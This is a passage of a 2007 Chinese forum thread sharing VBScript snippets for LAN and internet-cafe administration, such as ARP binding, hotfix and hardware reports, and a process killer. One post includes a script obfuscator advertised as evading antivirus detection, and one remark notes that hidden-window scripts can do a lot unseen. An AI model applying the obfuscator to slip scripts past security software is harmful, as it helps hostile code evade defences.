192.168.2.1 00-2B-6A-E2-D0-AC\",0 ws.run \"arp -s 192.168.2.2 00-24-2A-00-C2-86\",0 ws.run \"arp -s 192.168.2.3 00-22-2A-09-CE-C4\",0 ws.run \"arp -s 192.168.2.4 00-23-D4-6A-BF-D8\",0 ws.run \"arp -s 192.168.2.5 00-2B-6A-E2-CF-41\",0 ws.run \"arp -s 192.168.2.7 00-20-E8-13-6D-0C\",0 ws.run \"arp -s 192.168.2.8 00-22-2A-6B-AA-05\",0 保存，再将文本改名为*.VBS *为任意字符 注：arp -s 192.168.2.8 00-22-2A-6B-AA-05 这些IP与MAC自己套一下。 这样的效果与批处理.BAT的一样，就是不会出现黑黑的DOS窗口，比较省心。ps:因为没有窗口，所以可以用这东西做很多很多事情...[s:2] 静音.vbsDim WshShell Set WshShell = CreateObject(\"Wscript.Shell\") WshShell.Run \"C:\\Windows\\system32\\sndvol32.exe\" Wscript.Sleep 1000 WshShell.AppActivate \"主音量\" WshShell.SendKeys \"{TAB}\" WshShell.SendKeys \"{TAB}\" WshShell.SendKeys \"{+}\" WshShell.SendKeys \"%{F4}\" 删除指定天数文件的vbs脚本 Const FilePath = \"E:\\log\" \'定义目录 Set FSO = CreateObject(\"scripting.FileSystemObject\") ShowSubfolders FSO.GetFolder(filepath) Sub ShowSubFolders(Folder) For Each Subfolder in Folder.SubFolders Set Files = subfolder.Files If Files.Count <> 0 Then For Each File In Files If File.DateLastModified < Now - 30 Then \'判断是否超过30天 FSO.DeleteFile(Subfolder.Path & \"\\\" & File.Name) \'删除 \'Wscript.Echo Subfolder.Path & \"\\\" & File.Name \'显示 End If Next End If ShowSubFolders Subfolder Next End Sub 用vbs脚本来列示出你安装了哪些补丁！
\' 使用脚本列示已经安装过的补丁 \' 及其安装ID、描述、日期及实施者 strComputer = \".\" Set objWMIService = GetObject (\"winmgmts:{impersonationLevel = impersonate}!\\\\\" & strComputer & \"\\root\\cimv2\") Set colQuickFixes = objWMIService.ExecQuery(\" Select * from Win32_QuickFixEngineering\") Set objFS = CreateObject (\"scripting.FileSystemObject\") Set objNF = objFS.CreateTextFile(\"InstallHotfixes.htm\") objNF.Writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \"\" objNF.writeline \" <h3>Hotfix report -- Date:\"&Now()&\" </h3>\" & vbcrlf objNF.writeline \" <table border=\"1\" style=\"FONT-SIZE: 9pt;\"><tbody><tr><td>Computer:</td><td>Description:</td><td>HotFixID:</td><td>Installation Date:</td><td>Installed By:</td></tr><tr><td>\"& objQuickFix.CSName & \"</td><td>\"& objQuickFix.Description &\" </td><td>\"& objQuickFix.HotFixID &\" </td><td>\"& objQuickFix.InstallDate &\" </td><td>\"& objQuickFix.InstalledBy &\" </td></tr></tbody></table>\" objNF.writeline \"\" objNF.writeline \"\" objNF.close set objshell = wscript.createｏｂｊｅｃｔ(\"wscript.shell\") objshell.run \"InstallHotfixes.htm\"
<h3>Hotfix report -- Date:\"&Now()&\" </h3>\" & vbcrlf objNF.writeline \" <table border=\"1\" style=\"FONT-SIZE: 9pt;\"><tbody><tr><td>Computer:</td><td>Description:</td><td>HotFixID:</td><td>Installation Date:</td><td>Installed By:</td></tr><tr><td>\"& objQuickFix.CSName & \"</td><td>\"& objQuickFix.Description &\" </td><td>\"& objQuickFix.HotFixID &\" </td><td>\"& objQuickFix.InstallDate &\" </td><td>\"& objQuickFix.InstalledBy &\" </td></tr></tbody></table>\" objNF.writeline \"\" objNF.writeline \"\" objNF.close set objshell = wscript.createｏｂｊｅｃｔ(\"wscript.shell\") objshell.run \"InstallHotfixes.htm\"
用VB检测计算机硬件信息此段VB可以检测到计算机的主板,CPU(包括主频),内存,硬盘,显卡,网卡等相关信息特别适合在局域网内用来察看和管理内部计算机的硬件配置情况 程序代码 On Error Resume Next temp=0 set wshshell=wscript.createｏｂｊｅｃｔ(\"wscript.shell\") ’启动WMI服务(没有这个服务就不行) wshshell.run (\"%comspec% /c regsvr32 /s scrrun.dll\"),0,True wshshell.run (\"%comspec% /c sc config winmgmt start= auto\"),0,True wshshell.run (\"%comspec% /c net start winmgmt\"),0 ’用一个文本来记录硬件信息 Set WshNetwork = Wscript.Createｏｂｊｅｃｔ(\"Wscript.Network\") computername=WshNetwork.ComputerName set fso=createｏｂｊｅｃｔ(\"scripting.filesystemｏｂｊｅｃｔ\") tempfilter=\"c:\\\"& computername &\".txt\" ’这里是硬件信息纪录的存放位置,可以是网络共享路径(需有写入权限) set tempfile=fso.createtextfile(tempfilter) strComputer = \".\" Set objWMIService = Getｏｂｊｅｃｔ(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\") ’主板 set board =objwmiservice.execQuery(\"select * from win32_baseboard\") for each item in board board2=\"主板:\" & item.Product next ’CPU set cpu =objwmiservice.execQuery(\"select * from win32_processor\") for each item in cpu cpu2= \"CPU:\" & item.Name next ’内存 Set colItems = objWMIService.ExecQuery(\"Select * from Win32_PhysicalMemory\",,48) For Each objItem in colItems a=objitem.capacity/1048576 temp=temp+objitem.capacity n=n+1 Next memory=temp/1048576 if n=1 then memory2= \"内存: \" & n & \"条\" &a&\"M\" else memory2= \"内存: \" & n & \"条\" &a&\"M\"&\" 总计\"&memory&\"M\" end if ’硬盘 set disk =objwmiservice.execQuery(\"select * from win32_diskdrive\") for each item in disk disk2= \"硬盘: \" & item.Model next ’显卡 set video =objwmiservice.execQuery(\"select * from win32_videocontroller\",,48) for each item in video video2= \"显卡: \" & item.Description next ’网卡 Set colItems = objWMIService.ExecQuery(\"Select * from Win32_NetworkAdapter\",,48) For Each objItem in colItems if (left(objItem.NetConnectionID,4)=\"本地连接\") then lanname=objItem.Name end if Next lan2=\"网卡: \" & lanname tempfile.writeline(board2) tempfile.writeline(cpu2) tempfile.writeline(memory2) tempfile.writeline(disk2) tempfile.writeline(video2) tempfile.writeline(lan2)
<div></div><div>运行此VB之后会在你所设置的目录内生成一个以机器名命名的文本文件比如我的机器纪录如下: 主板:GA-8TRX330 CPU:Intel(R) Celeron(R) CPU 2.10GHz 内存: 1条256M 硬盘: ST3120022A 显卡: RADEON 9550 Secondary 网卡: Realtek RTL8139 Family PCI Fast Ethernet NIC</div>

qq1003796 · 发表于 2007-9-8 03:31:16

<div>VBS脚本加密/解密VBS脚本(简易免杀版1.1) 由于杀软的原因使得“加密/解密VBS脚本”版不能正常使用，于是修改了一下加密函数逃避杀软，但同1.0版一样由宿主解释执行脚本的特性注定了这种加密是可逆并非常脆弱的，WScript.Echo 一下Execute后的内容即可显示源码了。 算法大家可任意改。。。。。 Dim WshSHell,FSO On Error Resume Next Set WshSHell = WScript.CreateObject(\"WScript.Shell\") Set FSO = CreateObject(\"Scripting.FileSystemObject\") Set Args = WScript.Arguments Ver=\"1.1\" CloseTime = 5 FileName = WScript.ScriptName FileFullName = WScript.ScriptFullName FilePath = FSO.GetParentFolderName(FileFullName) InsPath = FSO.GetSpecialFolder(1) InsFullName = FSO.BuildPath(InsPath ,FileName) Copyright=\"废铁\" QQ=\"QQ：415736\" Email=\"Email：<img alt=\"图片点击可在新窗口打开查看\" src=\"http://bbs.txwm.com/skins/default/email1.gif\" align=\"absMiddle\" style=\"CURSOR: pointer;\"/><a href=\"mailto:415736@163.com\" target=\"_blank\">415736@163.com</a>\" InsTitle=\"加密/解密VBS脚本(简易免杀版)\"&Ver InsAnswer=\"加密/解密VBS脚本(简易免杀版)\"&Ver RegPath1=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\\" RegValue1=\"加密/解密VBS脚本\"&Ver RegForm1=\"REG_SZ\" RegPath2=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\command\\\" RegValue2=\"wscript.exe \" & chr(34) & InsFullName & chr(34) & \" \" & chr(34) & \"%L\" & chr(34) RegPath3=\"HKEY_CLASSES_ROOT\\vbsfile\\shell\\EnCode_VBS\\EnCode_Very\" RegValue3=\"0\" RegValue4=\"1\" IF FileFullName <> InsFullName then intAnswer = MsgBox(\"【是】将“\"+ InsAnswer +\"”加入到右键菜单，\"&Chr(10)&Chr(10)&\"【否】将“\"+ InsAnswer +\"”从右键菜单删除。 \", vbQuestion + vbYesNoCancel, \"安装 - \"+ InsTitle +\" - \"+ Copyright) If intAnswer = vbYes Then WshSHell.RegWrite RegPath1,RegValue1,RegForm1 WshSHell.RegWrite RegPath2,RegValue2,RegForm1 WshSHell.RegWrite RegPath3,RegValue4,RegForm1 FSO.GetFile(FileFullName).Copy(InsFullName) WshSHell.popup _ \"添加脚本文件：\"+chr(10)+InsFullName+chr(10)+chr(10)+ _ \"添加注册表项：\"+chr(10)+chr(34)+ RegPath1 +chr(34)+chr(10)+ _ chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _ chr(10) & \"Copyright(C) \" + Copyright +\" \" & QQ &\" \" + Email _ , CloseTime, \"安装成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64 end if If intAnswer = vbNo Then WshSHell.RegDelete RegPath3 WshSHell.RegDelete RegPath2 WshSHell.RegDelete RegPath1 FSO.DeleteFile InsFullName WshSHell.popup _ \"删除脚本文件：\"+chr(10)+InsFullName+chr(10)+chr(10)+ _ \"删除注册表项：\"+chr(10)+chr(34)+ RegPath1 +chr(34)+chr(10)+ _ chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _ chr(10) & \"Copyright(C) \" + Copyright +\" \" & QQ &\" \" + Email _ , CloseTime, \"卸载成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64 end if ELSE

ackage = WScript.Arguments.Item(0) PkgName=FSO.GetBaseName(Package) PkgPath=FSO.GetParentFolderName(Package) Set ReadFile = FSO.OpenTextFile(Package, 1) ReadAllTextFile=ReadFile.ReadAll if left(ReadAllTextFile,10)<>\"Rem EnCode\" then EnCodePanDuan=\"Rem EnCode-Easy By QQ：415736\" CodeString=ReadAllTextFile For i=1 To Len(CodeString) TempNum = Asc(Mid(CodeString,i,1)) If TempNum = 13 Then TempNum = 28 ElseIf TempNum = 10 Then TempNum = 29 elseif TempNum=34 Then TempNum = 18 elseif TempNum>96 and TempNum<110 then TempNum=TempNum+13 elseif TempNum>109 and TempNum<123 then TempNum=TempNum-13 elseif TempNum>47 and TempNum<53 then TempNum=TempNum+5 elseif TempNum>52 and TempNum<58 then TempNum=TempNum-5 End If ThisText = ThisText & chr(TempNum) Next Call EnCodeFile Else Call UnCodeFile end if End if Set WshSHell = Nothing Set FSO = Nothing Set Args = Nothing WScript.Quit(0) Sub EnCodeFile() Set NewFile = FSO.CreateTextFile(FSO.BuildPath(PkgPath ,PkgName&\"_Encode.VBS\"), True) NewFile.WriteLine(EnCodePanDuan) NewFile.WriteLine(\"ExeString=\"&chr(34)&ThisText&chr(34)) NewFile.WriteLine(\"Execute(\"&chr(34)&\"For i=1 To Len(ExeString)\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = Asc(Mid(ExeString,i,1))\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"If TempNum = 28 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"ElseIf TempNum = 29 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 10\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum=18 Then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum = 34\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>96 and TempNum<110 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum+13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>109 and TempNum<123 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum-13\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>47 and TempNum<53 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum+5\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"elseif TempNum>52 and TempNum<58 then\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"TempNum=TempNum-5\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"End If\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"ThisText = ThisText & chr(TempNum)\"&chr(34)&\"&vbCrLf&\"&chr(34)&\"Next\"&chr(34)&\")\") NewFile.WriteLine(\"Execute(ThisText)\") NewFile.Close WshShell.popup chr(10) &_ \"加密成功了！保存为文件：\"+ chr(10) &chr(10) & _ FSO.BuildPath(PkgPath ,PkgName&\"_Encode.VBS\")+chr(10)+chr(10)+ _ chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _ chr(10) & \"Copyright(C) \" + Copyright +\" \" & QQ &\" \" + Email _ , CloseTime, EnCodePanDuan +\" - \"+ Copyright, 0 + 64 End Sub Sub UnCodeFile() Set ReadFile = FSO.OpenTextFile(Package, 1) ReadLineTextFile1=ReadFile.ReadLine ReadLineTextFile2=ReadFile.ReadLine ReadLineTextFile3=ReadFile.ReadLine ReadFile.Close Set NewFile = FSO.CreateTextFile(FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\"), True) NewFile.WriteLine(ReadLineTextFile2) NewFile.WriteLine(ReadLineTextFile3) NewFile.WriteLine(\"EnCodePanDuan=\"&chr(34)&ReadLineTextFile1&chr(34)&vbCrLf&\"EnCodePD=\"&chr(34)&\"Rem EnCode-Very By QQ：415736\"&chr(34)&vbCrLf&\"For i=1 To Len(ThisText)\"&vbCrLf&\"TempNum = Asc(Mid(ThisText,i,1))\"&vbCrLf&\"TempChar = Chr(TempNum)\"&vbCrLf&\"if EnCodePanDuan=EnCodePD then\"&vbCrLf&\"If TempChar = Chr(58) Then\"&vbCrLf&\"TempChar = Chr(13)\"&vbCrLf&\"End If\"&vbCrLf&\"End If\"&vbCrLf&\"ThisTextTem = ThisTextTem & TempChar\"&vbCrLf&\"Next\") NewFile.WriteLine(\"strCode = (ThisTextTem)\"&vbCrLf&\"Set WshSHell = WScript.CreateObject(\"&chr(34)&\"WScript.Shell\"&chr(34)&\")\"&vbCrLf&\"Set FSO = CreateObject(\"&chr(34)&\"Scripting.filesystemｏｂｊｅｃｔ\"&chr(34)&\")\"&vbCrLf&\"FileName = WScript.ScriptName\"&vbCrLf&\"Set fC = FSO.OpenTextFile(FileName, 2, true)\"&vbCrLf&\"fC.Write strCode\"&vbCrLf&\"fC.Close\"&vbCrLf&\"Set WshSHell = Nothing\"&vbCrLf&\"Set FSO = Nothing\"&vbCrLf&\"WScript.Quit(0)\") NewFile.Close WScript.Sleep 1500 WshSHell.Run (chr(34)&FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\")&chr(34)), vbHide WshShell.popup chr(10) &_ \"解密成功了！保存为文件：\"+ chr(10) &chr(10) & _ FSO.BuildPath(PkgPath ,PkgName&\"_Uncode.VBS\")+chr(10)+chr(10)+ _ chr(10) & CloseTime & \" 秒钟后本窗口将自动关闭!\" +chr(10)+chr(10)+ _ chr(10) & \"Copyright(C) \" + Copyright +\" \" & QQ &\" \" + Email _ , CloseTime, \"解密成功 - \"+ InsTitle +\" - \"+ Copyright, 0 + 64 End Sub</div>

qq1003796 · 发表于 2007-9-8 03:32:09

图片尺寸转换的VBS脚本Set oImg = CreateObject(\"WIA.ImageFile\") Set oProc = CreateObject(\"WIA.ImageProcess\") oImg.LoadFile \"Water lilies.jpg\" \'打开当前文件夹里的Water lilies.jpg oProc.Filters.Add oProc.FilterInfos(\"Scale\").FilterID \'添加一个 Scale 的滤境 oProc.Filters(1).Properties(\"MaximumWidth\")=\"400\" \'定义新图片的宽 oProc.Filters(1).Properties(\"MaximumHeight\")=\"300\" \'定义新图片的高 Set oNewImg = oProc.Apply(oImg) \'保存新图片到 oNewImg 对象里 oNewImg.SaveFile \"New.jpg\" \'把oNewImg对象保存为图片定时杀进程的ＶＢＳ脚本********************************************************************************************************** \'Description: 定时查杀自定义进程，建议设为开机启动 \'Author: 废铁 \'Email: <a href=\"http://bbs.txwm.com/mailt415736@qq.com\" target=\"_blank\">415736@qq.com</a> \'QQ: 415736 \'WebSite: <a href=\"http://www.ganhui0818.cn/\" target=\"_blank\">http://www.ganhui0818.cn</a> \'**********************************************************************************************************Dim scriptPath,lenRootPath,listFilePath Dim sCheck scriptPath=WScript.ScriptFullName lenRootPath=Left(scriptPath,InStrRev(scriptPath,\"\\\")) listFilePath=lenRootPath & \"list.txt\" \'设置进程黑名单文件名称 sCheck=10 \'设定间隔多少秒钟扫描一次进程 Do Call CheckList(listFilePath) WScript.Sleep sCheck*1000 LoopSub CheckList(listFilePath) On Error Resume Next Dim Fso,listFile Dim KeyWord,processKey,pathKey,TipStr Set Fso=CreateObject(\"Scripting.FileSystemObject\") If Fso.FileExists(listFilePath) Then Set listFile=Fso.OpenTextFile(listFilePath,1,0) Do While Not listFile.AtEndOfStream KeyWord=listFile.ReadLine If KeyWord<>\"\" And Left(KeyWord,1)<>\"\'\" Then KeyWord=Split(KeyWord,\"|\") If UBound(KeyWord)>1 Then processKey=Trim(KeyWord(0)) pathKey=Trim(KeyWord(1)) Tipstr=Trim(KeyWord(2)) Call ProcessKiller(processKey,TipStr) If pathKey<>\"\" Then Call ProcessKiller(pathKey,TipStr) End If End If If Err Then Err.Clear Loop Set listFile=Nothing Else WScript.Quit End If Set Fso=Nothing End Sub Sub ProcessKiller(callstr,Tstr) On Error Resume Next Dim WMI,objProcess,Process Dim MsgStr Dim isKilled isKilled=False Set WMI=GetObject(\"WinMgmts:\") Set Process=WMI.InstancesOf(\"Win32_Process\") For Each objProcess In Process If InStr(callstr,\".\")>0 Then If objProcess.name=callstr Then objProcess.Terminate isKilled=True End If Else If InStr(objProcess.ExecutablePath,callstr)>0 Then objProcess.Terminate isKilled=True End If End If If Err Then Err.Clear Next Set Process=Nothing Set WMI=Nothing MsgStr=\"对不起，为了营造一个良好的网络环境，本网吧禁止运行以下程序：\" & vbCrLf & vbCrLf MsgStr=MsgStr & \" - \" & Tstr & vbCrLf & vbCrLf & \"敬请广大顾客朋友理解并配合，谢谢！\" If isKilled=True Then MsgBox MsgStr End Sub

kobelau · 发表于 2007-9-29 20:24:25

有没有预留开机维护通道的脚本?

风一样的男孩 · 发表于 2007-9-29 21:18:41

<div class=\"msgheader\">QUOTE:</div><div class=\"msgborder\">以下是引用kobelau在2007-9-29 20:24:25的发言： 有没有预留开机维护通道的脚本?</div>有啊，去黑框的VBSOn Error Resume Next Dim Wsh Set Wsh = WScript.CreateObject(\"WScript.Shell\") WScript.Sleep(0000) \'设定时间 Wsh.Run \"批处理的名称.bat\",0,True Set Wsh=NoThing WScript.quitvbs调用服务器On Error Resume Next DIM objShell set objShell=wscript.createObject(\"wscript.shell\") WScript.Sleep(10000) iReturn=objShell.Run(\"cmd.exe /C <a href=\"file://\\\\192.168.1.250\\\">\\\\192.168.1.250\\</a>启动\\start.bat\", 0, TRUE)

[此贴子已经被作者于2007-9-29 21:20:20编辑过]

帐号		自动登录	找回密码
密码			立即注册